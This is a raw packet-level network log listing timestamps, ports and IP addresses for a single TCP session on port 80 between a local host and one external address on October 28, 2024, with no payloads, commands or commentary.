Oct 28, 2024 08:18:20.036580086 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036591053 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036602020 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036614895 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036616087 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036627054 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036638975 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036645889 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036649942 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036662102 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036664009 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036674976 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036686897 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036694050 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036699057 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036709070 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036712885 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036725044 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036736012 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036736965 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036748886 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036761999 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036771059 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036773920 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036786079 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036802053 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036812067 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036865950 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036885023 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036897898 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036909103 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036926031 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036937952 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036948919 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036959887 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036961079 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036973000 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036984921 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.036990881 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.036997080 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037009954 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037014008 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037039995 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037086964 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037098885 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037111044 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037122011 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037132025 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037134886 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037147045 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037152052 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037159920 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037175894 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037204027 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037225962 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037236929 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037247896 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037261009 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037266016 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037272930 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037286043 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037297010 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037298918 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037312031 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037331104 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037353039 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037365913 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037378073 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037389994 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037403107 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037411928 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037415981 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037426949 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037436962 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037439108 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037467003 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037472010 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037478924 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037489891 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037497997 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037503004 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037513971 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037528992 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037533998 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037543058 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037555933 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037564039 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037569046 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037578106 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037580967 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037596941 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037604094 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037610054 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037621975 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037630081 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037638903 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037666082 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037744045 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037756920 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037767887 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037776947 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037781000 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037794113 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037802935 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037808895 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037822008 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037828922 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037836075 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037847996 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037858963 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037867069 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037872076 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037894011 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037904978 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037911892 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037923098 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037935019 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037946939 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037960052 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037969112 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.037972927 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037987947 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.037996054 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.038002014 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038013935 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.038016081 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038027048 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038039923 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038043022 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.038058043 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038069963 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038070917 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.038081884 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038089991 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.038095951 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038110018 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038117886 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.038122892 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038136005 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038151979 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.038160086 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038172007 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.038182020 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.038201094 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.729125023 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.734769106 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.734818935 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.734874964 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.734905958 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.734941959 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.734977007 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735013008 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735042095 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.735076904 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735131979 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735162973 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.735166073 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735200882 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735230923 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.735251904 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735286951 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735341072 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.735393047 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735446930 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735476017 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.735496998 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735570908 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735600948 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.735605001 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735639095 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735667944 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.735691071 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735740900 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735769033 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.735776901 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735810995 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735836983 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.735845089 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735869884 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.735877991 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735928059 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735977888 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.735999107 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.736011982 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736046076 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736072063 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.736079931 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736116886 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736144066 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.736167908 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736203909 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736228943 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.736237049 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736269951 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736295938 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.736304045 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736354113 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736382008 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.736387014 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736412048 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.736421108 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736471891 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736500025 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.736505985 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736541033 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736571074 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.736574888 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736624002 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736654043 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.736660004 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736694098 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736727953 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736778021 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736793995 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.736814022 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736846924 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736880064 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736929893 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736957073 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.736963987 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.736998081 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737025023 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737049103 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737087011 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737109900 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737123013 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737155914 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737179041 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737189054 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737224102 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737251043 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737257957 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737292051 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737318039 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737327099 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737360001 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737387896 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737415075 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737463951 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737484932 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737497091 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737529993 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737554073 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737562895 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737596989 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737606049 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737631083 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737663984 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737698078 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737720013 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737731934 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737765074 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737790108 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737797976 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737833977 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737858057 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737865925 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737900972 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737926960 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.737934113 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737967014 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.737993002 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738001108 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738034010 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738059044 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738068104 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738101959 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738126993 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738136053 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738171101 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738194942 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738204002 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738236904 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738262892 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738270998 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738303900 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738307953 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738337994 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738363028 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738372087 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738405943 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738430977 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738439083 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738475084 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738502026 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738508940 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738548040 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738571882 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738581896 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738615036 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738642931 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738648891 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738682985 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738711119 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738717079 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738749981 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738774061 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738782883 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738816977 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738830090 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738851070 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738884926 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738920927 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738954067 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.738980055 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.738987923 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739020109 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739053011 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739079952 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.739087105 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739114046 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.739120960 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739155054 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739178896 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.739188910 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739223003 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739258051 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739289999 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739321947 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.739352942 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739386082 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739411116 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.739422083 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739454985 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739489079 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739521980 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739550114 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.739556074 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739588976 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739619017 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.739622116 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739655018 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739675999 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.739690065 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739723921 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739757061 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739790916 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739814997 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.739823103 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739856005 CET	80	49764	185.215.113.16	192.168.2.5
